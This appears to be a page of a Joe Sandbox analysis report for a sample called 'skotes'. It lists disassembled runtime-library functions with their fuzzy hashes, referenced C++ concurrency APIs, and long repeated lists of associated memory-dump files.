Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: 889af72c1cfd9ee741fe29ed436ceef29509431803057af35ac7305c2cd232ee
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: DA518A35A042099FDF11CF68C4806EEBBF9EF15354F16449AE8A1A73A1D732BA45CF50

Function 00902EC0 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00902F5F
GetCurrentThreadId.KERNEL32 ref: 00902F7E
__Mtx_unlock.LIBCPMT ref: 00902FCC
__Cnd_broadcast.LIBCPMT ref: 00902FE3

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThread
String ID:
API String ID: 3264154886-0
Opcode ID: 76ca8e67c001de87d4c79c35b6ea45b33124f88675a62753e41ae604e5d4b7b7
Instruction ID: 084fb184b72ff76c30129c996d9dd96e98623916bcfc527c0c8e3b1bb2566f79
Opcode Fuzzy Hash: 76ca8e67c001de87d4c79c35b6ea45b33124f88675a62753e41ae604e5d4b7b7
Instruction Fuzzy Hash: 2541E3B0A0161AAFDB20DF65C945B9AB7FCFF14364F008529E916D7780EB35EA05CB81

Function 0092DB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0092DB64

Part of subcall function 00928F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00928F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0092DBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0092DBE9
Concurrency::location::_Assign.LIBCMT ref: 0092DC56

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 4d32999a05b52b05fabe0f0541471e7fd6b33339007870a6d63cf012022937b5
Instruction ID: cf0a924a30236724b803af64f4b813132060255b2c78a41d12ab46e0ca26ae2e
Opcode Fuzzy Hash: 4d32999a05b52b05fabe0f0541471e7fd6b33339007870a6d63cf012022937b5
Instruction Fuzzy Hash: 95412570705224ABCF19EB24E896BBDBB79AF85310F04449DE4469B3CACB74AD45C7D0

Function 009256AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 009256F2
_InternalDeleteHelper.LIBCONCRT ref: 00925726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 0092578B
SafeRWList.LIBCONCRT ref: 0092579A

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: d801ead23ecc148b1a2a595c23c4b48218054ba75e5f38ccf51e05df18098b86
Instruction ID: fe3d41c2b6431e6777a2c7ea78e3228525a1becec16551a776210ecba7d2f37b
Opcode Fuzzy Hash: d801ead23ecc148b1a2a595c23c4b48218054ba75e5f38ccf51e05df18098b86
Instruction Fuzzy Hash: 56312836B416249FCF059F20D881BAD77AAAFC9710F158179E9059B399DF30AC018790

Function 00922CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00922D0F

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: 9bf266801f2dae6e539e3e7f6950c5ee055cc66a5b3ba049bc26cc901c434402
Instruction ID: 46c2a1fb4fa5c8656c27340fc36890a2c60b4a67e19a57a224002871766559bb
Opcode Fuzzy Hash: 9bf266801f2dae6e539e3e7f6950c5ee055cc66a5b3ba049bc26cc901c434402
Instruction Fuzzy Hash: C5314A75A00319EFCF14DF94D8C0BAE7BB9BF44310F1404AAD945AB38AD770A945DBA0

Function 009313F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 009313FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00931447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 0093147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 0093152A

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

